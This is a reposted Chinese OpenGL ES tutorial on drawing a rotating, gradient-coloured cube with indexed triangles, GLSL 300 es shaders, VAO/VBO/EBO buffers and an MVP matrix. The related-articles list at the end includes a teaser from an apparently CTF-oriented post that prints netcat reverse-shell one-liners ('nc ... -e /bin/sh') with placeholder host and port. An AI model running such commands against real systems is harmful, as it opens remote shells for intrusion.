OpenGL-ES 学习(6)---- 立方体绘制

news2024/7/4 4:34:59

目录

        • 立方体绘制基本原理
        • 立方体的顶点坐标和绘制顺序
        • 立方体颜色和着色器
        • 实现效果和参考代码

立方体绘制基本原理

一个立方体是由8个顶点组成,共6个面,所以绘制立方体本质上就是绘制这6个面共12个三角形
Cube

顶点的坐标体系如下图所示,三维坐标的中心原点位于立方体的中心,但是要特别注意的是,前后方向表示的是Z轴,上下方向表示的是Y轴
CubeCoord

立方体的顶点坐标和绘制顺序

立方体坐标定义如下:

static GLfloat vertices[] = {
        // 位置           // 颜色
        -0.5f, -0.5f, -0.5f,  1.0f, 0.0f, 0.0f,  // 左下后 红色
        0.5f, -0.5f, -0.5f,  0.0f, 1.0f, 0.0f,  // 右下后 绿色
        0.5f,  0.5f, -0.5f,  0.0f, 0.0f, 1.0f,  // 右上后 蓝色
        -0.5f,  0.5f, -0.5f,  1.0f, 1.0f, 0.0f,  // 左上后 黄色
        -0.5f, -0.5f,  0.5f,  0.0f, 1.0f, 1.0f,  // 左下前 青色
        0.5f, -0.5f,  0.5f,  1.0f, 0.0f, 1.0f,  // 右下前 品红
        0.5f,  0.5f,  0.5f,  0.5f, 0.5f, 0.5f,  // 右上前 灰色
        -0.5f,  0.5f,  0.5f,  1.0f, 1.0f, 1.0f   // 左上前 白色
};

// 立方体索引数据
static GLuint indices[] = {
        // 后面
        0, 1, 2,
        2, 3, 0,
        // 前面
        4, 5, 6,
        6, 7, 4,
        // 左面
        0, 4, 7,
        7, 3, 0,
        // 右面
        1, 5, 6,
        6, 2, 1,
        // 底面
        0, 1, 5,
        5, 4, 0,
        // 顶面
        3, 2, 6,
        6, 7, 3
};

在这里vertices定义不同的顶点,indices数组中表示不同顶点的绘制顺序,每三个顶点构成一个三角形,最后由 glDrawElements(GL_TRIANGLES,36,GL_UNSIGNED_INT,0);每三个顶点为一组绘制共12个三角形,不同的面和顶点的绑定关系如下:
Front
Back
Bottom
Top
Left
Right

立方体颜色和着色器

这里为立方体的每个顶点定义不同的颜色,同时在VertexShader中将颜色传递给FragmentShader,这样 FragmentShader会得到经过插值后的每个片元的颜色,并将这个颜色设置为最终的显示,实现的是一个渐变色的效果,shader 程序如下:

static const char* vertexShaderSource =
        "#version 300 es                            \n"
        "precision mediump float;\n"
        "uniform mat4 u_mvpMatrix;                   \n"
        "layout(location = 0) in vec3 a_position;   \n"
        "layout(location = 1) in vec3 a_color;      \n"
        "out vec3 v_color;                          \n"
        "void main() {\n"
        "    gl_Position = u_mvpMatrix*vec4(a_position,1.0);\n"
        "    v_color = a_color;                     \n"
        "}\n";

// Fragment Shader source code
static const char* fragmentShaderSource =
        "#version 300 es                            \n"
        "precision mediump float;\n"
        "layout(location = 0) out vec4 outColor;             \n"
        "in vec3 v_color;           \n"
        "void main() {\n"
        "   outColor = vec4(v_color, 1.0);\n"
        "}\n";
实现效果和参考代码

最终实现效果:
CubeEffectct01
CubeEffect02

参考代码如下:

Note: 这里还使用了ModeViewProject Matrix实现了旋转的效果,同时使用VAO,VBO,EBO实现了对顶点内容和顶点Index的缓冲

typedef struct {
    GLuint programObject;
    GLuint vboIds[2];
    GLuint vaoId;
    uint64_t timeInMiliSeconds;
    GLint   mvpLoc;
    GLfloat   angle;
    GLint  deltaTime;
    ESMatrix  mvpMatrix;
} UserData;

static GLfloat vertices[] = {
        // 位置           // 颜色
        -0.5f, -0.5f, -0.5f,  1.0f, 0.0f, 0.0f,  // 左下后 红色
        0.5f, -0.5f, -0.5f,  0.0f, 1.0f, 0.0f,  // 右下后 绿色
        0.5f,  0.5f, -0.5f,  0.0f, 0.0f, 1.0f,  // 右上后 蓝色
        -0.5f,  0.5f, -0.5f,  1.0f, 1.0f, 0.0f,  // 左上后 黄色
        -0.5f, -0.5f,  0.5f,  0.0f, 1.0f, 1.0f,  // 左下前 青色
        0.5f, -0.5f,  0.5f,  1.0f, 0.0f, 1.0f,  // 右下前 品红
        0.5f,  0.5f,  0.5f,  0.5f, 0.5f, 0.5f,  // 右上前 灰色
        -0.5f,  0.5f,  0.5f,  1.0f, 1.0f, 1.0f   // 左上前 白色
};

// 立方体索引数据
static GLuint indices[] = {
        // 后面
        0, 1, 2,
        2, 3, 0,
        // 前面
        4, 5, 6,
        6, 7, 4,
        // 左面
        0, 4, 7,
        7, 3, 0,
        // 右面
        1, 5, 6,
        6, 2, 1,
        // 底面
        0, 1, 5,
        5, 4, 0,
        // 顶面
        3, 2, 6,
        6, 7, 3
};

static const char* vertexShaderSource =
        "#version 300 es                            \n"
        "precision mediump float;\n"
        "uniform mat4 u_mvpMatrix;                   \n"
        "layout(location = 0) in vec3 a_position;   \n"
        "layout(location = 1) in vec3 a_color;      \n"
        "out vec3 v_color;                          \n"
        "void main() {\n"
        "    gl_Position = u_mvpMatrix*vec4(a_position,1.0);\n"
        "    v_color = a_color;                     \n"
        "}\n";

// Fragment Shader source code
static const char* fragmentShaderSource =
        "#version 300 es                            \n"
        "precision mediump float;\n"
        "layout(location = 0) out vec4 outColor;             \n"
        "in vec3 v_color;           \n"
        "void main() {\n"
        "   outColor = vec4(v_color, 1.0);\n"
        "}\n";

static int initInternal(ESContext* esContext) {
    UserData *userData = esContext->userData;
    // Vertex Shader source code
    GLuint programObject = esLoadProgram(vertexShaderSource, fragmentShaderSource);
    if (programObject == 0) {
        return GL_FALSE;
    }

    // turn on depth test
    glEnable(GL_DEPTH_TEST);
    glDepthFunc(GL_LESS);
    glClearColor(0.0, 0.0, 0.0, 1.0);
    // Store the program object
    userData->programObject = programObject;
    userData->vboIds[0] =  userData->vboIds[1] = 0;
    userData->mvpLoc = glGetUniformLocation(userData->programObject, "u_mvpMatrix");
    userData->angle = 0.0f;

    return GL_TRUE;
}

static void uMVPMatrixUpdateRotate(ESContext *esContext, GLuint deltaTime)
{
    UserData *userData = esContext->userData;
    ESMatrix perspective;
    ESMatrix modelview;
    float    aspect;

    userData->angle +=  1.0f;
    if (userData->angle >= 360.0f) {
        userData->angle -= 360.0f;
    }

    aspect = (GLfloat) esContext->width / (GLfloat) esContext->height;
    esMatrixLoadIdentity(&perspective);
    esMatrixLoadIdentity(&modelview);

    esPerspective(&perspective, 45.0f, aspect, 1.0f, 10.0f);
    esTranslate(&modelview, 0.0, 0.0, -4.0);
    esRotate(&modelview, userData->angle, 0.0, 1.0, 0.0);
    esMatrixMultiply(&userData->mvpMatrix, &modelview, &perspective);
}

static void DrawPrimitiveWithVBOs(ESContext *esContext)
{
    UserData *userData = esContext->userData;
    GLuint   offset = 0;

    // vboIds[0] - used to store vertex attribute data
    // vboIds[l] - used to store element indices
    if (userData->vboIds[0] == 0 && userData->vboIds[1] == 0) {
        // Only allocate on the first draw
        glGenBuffers(2, userData->vboIds);
        glGenVertexArrays(1, &userData->vaoId);
        printf("gen vbo id:%d %d vao id:%d.\n",userData->vboIds[0],userData->vboIds[1],userData->vaoId);

        glBindVertexArray(userData->vaoId);

        glBindBuffer(GL_ARRAY_BUFFER, userData->vboIds[0]);
        glBufferData(GL_ARRAY_BUFFER, sizeof(vertices), vertices, GL_STATIC_DRAW);
        glVertexAttribPointer(0, 3,GL_FLOAT, GL_FALSE, 6*sizeof(GLfloat) , NULL);
        glEnableVertexAttribArray(0);
        glVertexAttribPointer(1, 3, GL_FLOAT, GL_FALSE, 6*sizeof(GLfloat) ,(void*)(3*sizeof(GLfloat)));
        glEnableVertexAttribArray(1);

        // notice using GL_ARRAY_BUFFER
        glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, userData->vboIds[1]);
        glBufferData(GL_ELEMENT_ARRAY_BUFFER,sizeof(indices), indices, GL_STATIC_DRAW);

        glBindVertexArray(0);
    }

    glBindVertexArray(userData->vaoId);
    glUniformMatrix4fv(userData->mvpLoc, 1, GL_FALSE, (GLfloat *)&userData->mvpMatrix.m[0][0]);
    glDrawElements(GL_TRIANGLES,36,GL_UNSIGNED_INT,0);


    glBindVertexArray(0);
}

static int drawLoopInternal(ESContext* esContext) {
    UserData *userData = esContext->userData;
    struct timespec currentts;
    clock_gettime(CLOCK_REALTIME, &currentts);
    uint64_t milliseconds = currentts.tv_sec * 1000LL + currentts.tv_nsec / 1000000;
    int periodInMs = milliseconds - userData->timeInMiliSeconds;
    userData->timeInMiliSeconds = milliseconds;
    userData->deltaTime++;
    //printf("current time in milliseconds %lld period:%d\n",milliseconds, (periodInMs > 0 ? periodInMs: -1));

    // Set the viewport
    glViewport(0, 0, 640, 480);
    glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
    glUseProgram(userData->programObject);

    uMVPMatrixUpdateRotate(esContext,userData->deltaTime);
    DrawPrimitiveWithVBOs(esContext);
    // Swap buffers
    eglSwapBuffers(esContext->eglDisplay, esContext->eglSurface);
}

static int cleanupInternal(ESContext* esContext) {
    printf("%s enter!.\n",__FUNCTION__);
    UserData *userData = esContext->userData;
    glDeleteProgram(userData->programObject);
    eglDestroySurface(esContext->eglDisplay, esContext->eglSurface);
    eglDestroyContext(esContext->eglDisplay, esContext->eglContext);
    eglTerminate(esContext->eglDisplay);
    XDestroyWindow(esContext->x_display, esContext->win);
    XCloseDisplay(esContext->x_display);
    return GL_TRUE;
}


int testbasicDrawCube(ESContext* esContext) {
    printf("%s enter!.\n", __FUNCTION__);
    esContext->userData = (UserData*)malloc(sizeof(UserData));
    esCreateWindow(esContext, esContext->testcaseName,640, 480, ES_WINDOW_DEPTH);
    initInternal(esContext);
    while (1) {
        XEvent xev;
        while (XPending(esContext->x_display)) {
            XNextEvent(esContext->x_display, &xev);
            if (xev.type == KeyPress) {
                cleanupInternal(esContext);
            }
        }
        drawLoopInternal(esContext);
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1866937.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

还没选好智能猫砂盆?今年最受好评的好用智能猫砂盆都在这了!

随着现代养猫文化的演进,智能化宠物用品逐渐走入千家万户,其中智能猫砂盆作为能帮助大家实现双手自由的自动铲屎神器,受到了广大铲屎官的喜欢。然而,市面上的智能猫砂盆种类繁多,品质参差不齐。一款优质的智能猫砂盆能…

从0到1构建自己的短链接系统

1. 短链系统简介 1.1 短链系统的定义与用途 短链系统是指将一个较长的URL地址,通过特定的算法生成一个较短的、具备唯一性的URL地址。这种系统广泛应用于社交网络、短信、邮件营销等场景,它能帮助用户在字数受限的情况下分享链接,并且还具有…

【干货】【全网最全】【全网最详细】 javaWeb关于Thymeleaf+SpringBoot 的学习教程,看这一篇就够了。

大家好,我是DX3906 第一部分:介绍 Thymeleaf 简介 1.什么是Thymeleaf Thymeleaf是一个用于Java和Java EE平台的服务器端模板引擎,它可以用来在服务端生成HTML、XML、JavaScript、CSS甚至纯文本的输出。Thymeleaf适用于需要快速开发和维护Web…

设备智能化:中国星坤线缆组件的解决方案!

在当今快速发展的电子行业中,产品小型化和成本效益是制造商追求的两大目标。中国星坤端子电缆组件以其灵活性和高效性,为电子设备制造商提供了一种理想的解决方案。本文将探讨星坤端子电缆组件的优势以及其在不同电子设备中的应用。 端子线:小…

Linux命令学习2

一.文件基础命令 1.alias-给某个命令取别名 使用方式:alias cl ls -la 说明:将ls -la命令取别名为cl,使用这种方式只是临时将命令取别名,重启中断后,就会失效。 问题1:如何永久性的设置命令的别名? 答…

简过网:专科生可以考的编制岗位有哪些?这5个铁饭碗要抓住了!

专科生可以考的编制岗位有哪些?以下这几种可以考的,尤其是应届毕业生,一定要抓住机会哦! ​ 一、三支一扶:专科生可报考,期满可转编。 三支一扶:支农、支医生、支教、扶贫 工作时间一般为2年&…

车载双向认证框架设计

最近工作需要,手写了一个双向认证库,可以用在Java、Android上,不限于PC/手机、车载平台。首先我们来看看双向认证的原理机框架设计思路,最后会给出下载链接大家可以体验或者源码参考。 因为可以和FlexNet网络库(参考我…

实现高效写入:Schemaless 写入性能优化指南

物联网应用常常需要收集大量的数据,用以支持智能控制、业务分析和设备监控等功能。然而,应用逻辑的更新或硬件的调整可能会导致数据采集项频繁变化,这是时序数据库(Time Series Database,TSDB)面临的一大挑…

Mybatis-映射文件中select标签resultType属性的使用

数据库的最最基本操作“增删改查”,“查”是最复杂的,有各种各样的查询,所以对应到Mybatis中的select标签也是这四个操作中最复杂的 resultType属性的使用 1.返回的结果是List集合的类型 select标签里的resultType类型设置为List集合里的元…

CCAA:认证通用基础 7(认证的基本概念)

7认证的基本概念 7.1认证类型(产品认证、管理体系认证、服务认证)及基本特征 第一节 认证 1.认证的定义和本质 1.1认证的定义 (1)认证:与产品、过程、体系或人员有关的第三方证明。 ①”产品,过程,体系或人员”是认证的对象,认证是对“产…

Rust: duckdb和polars读csv文件比较

一、文件准备 样本内容,N行9列的csv标准格式,有字符串,有浮点数,有整型。 有两个csv文件,一个大约是2.1万行;一个是64万行。 二、toml文件 [package] name "my_duckdb" version "0.1.0&…

Linux文件IO深入剖析

目录 一、文件IO引发的项目血案 1、分析 一、Linux文件系统基本概念 1、文件系统接口 2、文件系统缓存 二、文件IO 访问方式概述 1、标准文件访问方式 2、直接IO 3、实现方式 4、缓存同步 5、Linux 文件IO流程图 6、血案解决 一、文件IO引发的项目血案 事件经过&am…

甲骨文(Oracle)云AI专家级证书免费获取攻略

这次分享的是甲骨文云(Oracle)2024年最新最热门的AI专家级证书,活动截止日期7/31。 考试为闭卷监考形式,但小李哥已经把题库准备好,分享给大家。 甲骨文Oracle☁️云计算凭借其Oracle原生产品(数据库、ERP等)在云计算市场中具有一定地位。目前…

Kafka入门-分区及压缩

一、生产者消息分区 Kafka的消息组织方式实际上是三级结构:主题-分区-消息。主题下的每条消息只会保存在某一个分区中,而不会在多个分区中被保存多份。 分区的作用就是提供负载均衡的能力,或者说对数据进行分区的主要原因,就是为…

【已解决】Pycharm:卡顿解决方案汇总

可能原因: 1、内存少 2、加载慢 3、文件多 4、硬件老 解决方案: 本机测试在 MAC,Windows、Linux也有相应的设置,请自行查询。 一、调整Pycharm使用内存 Help - Change Memory Settings 二、取消勾选 重复打开上次项目 Pych…

渗透测试之网络基础

文章目录 1. TCP/IP体系结构2. 什么是IP地址2.1 内网IP2.2 公网IP2.3 公网IP与内网IP的关系2.4 判断IP地址是公网或内网 3. 什么是TCP逻辑端口3.1 端口的定义3.2 查看开启的端口 4. HTTP超文本传输协议4.1 什么是HTTP4.2 HTTP协议特点4.3 请求消息——request4.4 HTTP的请求方式…

【研究】大模型应用场景分类与硬件升级

大模型应用#1:从Chatbot到AI Agent,个人助理重塑手机应用生态 AI大模型的能力进步推动Chatbot在C端广泛“出圈”。Chatbot(聊天机器人)通过自动化方式来处理和回复用户输入,可以模拟人类对话,通过文字或语…

软考系统架构师考试考点整理就看这一篇

软考系统架构师考试考点整理就看这一篇 最近软考成绩出来了不少同学与笔者沟通,聊到软考现在越来越难了,考了两三次都没过,也有不少新同学咨询软考考试的一些福利政策,投入大量的物力,财力,精力&#xff0c…

MySQL笔记——索引

索引 SQL性能分析使用原则SQL提示覆盖索引前缀索引单列索引和联合索引索引设计原则 学习黑马MySQL课程,记录笔记,用于复习。 查询建表语句: show create table account;以下为建表语句: CREATE TABLE account (id int NOT NULL …

反弹shell 纯干货版 --D--K--盾

本文主要讲解我已知的CTF中对VPS的利用的教程模块,所以本篇文章将会持续更新并且有改动 解密base64会解锁新大陆: REvnm77lrpjmlrnnvqTvvJo3MjcwNzcwNTU弹shell 弹shell有很多种类 NC nc ip port -e /bin/sh nc -e /bin/sh ip port //这种版…